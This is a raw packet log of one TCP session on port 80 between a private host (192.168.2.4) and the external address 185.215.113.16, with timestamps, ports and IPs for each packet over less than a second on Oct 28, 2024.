Oct 28, 2024 23:47:21.244067907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.244102955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.244131088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.244136095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.244172096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.244194031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.244205952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.244256973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.245471954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.245517969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.245568991 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.245580912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.245615959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.245650053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.245671034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.245682955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.245718002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.245735884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.292370081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.297858953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.297909021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.297944069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.297980070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298075914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.298111916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298193932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298254013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.298314095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298365116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298398972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298418999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.298432112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298465967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.298484087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.298995972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299051046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299055099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.299084902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299139023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.299495935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299530029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299566984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299585104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.299909115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299962997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.299968004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.339250088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.359431028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.359532118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.359576941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.359611988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.362772942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.362807989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.362843037 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.362843990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.362900019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.362932920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.362987041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363022089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363049030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.363055944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363091946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363112926 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.363627911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363662004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363689899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.363698006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363733053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363754988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.363766909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.363822937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.364340067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.364375114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.364409924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.364429951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.416811943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.416917086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.416954041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.416987896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417007923 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.417023897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417120934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417197943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417202950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.417202950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.417249918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.417360067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417393923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417429924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417443037 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.417464972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417511940 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.417833090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417885065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417918921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417939901 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.417953968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.417988062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.418009996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.418567896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.418601990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.418626070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.418658972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.418713093 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.418823957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.418876886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.418932915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.478390932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.478435993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.478452921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.478543997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.481564999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.481622934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.481622934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.481637955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.481653929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.481687069 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.481753111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.481766939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.481812000 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.481980085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.481996059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482014894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482031107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.482032061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482074022 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.482456923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482472897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482489109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482505083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482512951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.482537031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.482964993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482980967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.482997894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.483012915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.483023882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.483050108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.526741982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.535731077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.535769939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.535805941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.535839081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.535839081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.535876989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.535891056 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.536081076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536137104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536155939 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.536171913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536221027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.536317110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536370993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536406994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536422968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.536442995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536477089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.536490917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.537156105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537223101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537239075 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.537261009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537295103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537311077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.537334919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537378073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537384987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.537926912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537957907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.537980080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.582520962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.582556009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.582628965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.597428083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.597445965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.597454071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.597568035 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.600384951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600410938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600425959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600560904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600579977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600598097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600604057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.600632906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.600668907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.600882053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600939989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.600958109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.601002932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.601185083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.601202011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.601216078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.601249933 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.601295948 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.601526976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.601543903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.601564884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.601609945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.642694950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.642713070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.642728090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.642793894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.642793894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.654463053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.654476881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.654504061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.654535055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.654572010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.654587030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.654603958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.654630899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.654685020 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.654992104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655078888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655093908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655138016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.655348063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655374050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655400038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655409098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.655416965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655437946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655457973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.655486107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.655936003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.655985117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.656001091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.656044960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.656063080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.656078100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.656095028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.656146049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.656146049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.656768084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.656814098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.656929016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.716334105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.716356039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.716372967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.716382027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.716403008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.716423035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.716594934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.716594934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.719532013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.719552994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.719575882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.719602108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.719620943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.719640970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.719660997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.719690084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.719690084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.719988108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720016003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720058918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.720118999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720148087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720185041 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.720357895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720375061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720391035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720407009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.720510006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.720510006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.761192083 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.761857033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.761883020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.761902094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.761976957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.773577929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773617029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773653984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773663044 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.773686886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773709059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773744106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.773744106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.773773909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773858070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773874044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773890018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773906946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.773924112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.774007082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.774413109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.774427891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.774442911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.774468899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.774483919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.774499893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.774508953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.774508953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.774523020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.774552107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.774600029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.775254965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.775271893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.775290012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.775310040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.775336027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.775347948 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.775366068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.823631048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.835335970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.835361958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.835378885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.835396051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.835414886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.835536957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.835537910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.838155985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838216066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838269949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.838289022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838323116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838341951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.838381052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838407040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838423014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838427067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.838504076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.838927031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838943958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.838958979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.839037895 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.839202881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.839267015 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.839271069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.839284897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.839299917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.839328051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.839340925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.839344978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.839385986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.880619049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.880686045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.880700111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.880737066 CET	80	49740	185.215.113.16	192.168.2.4
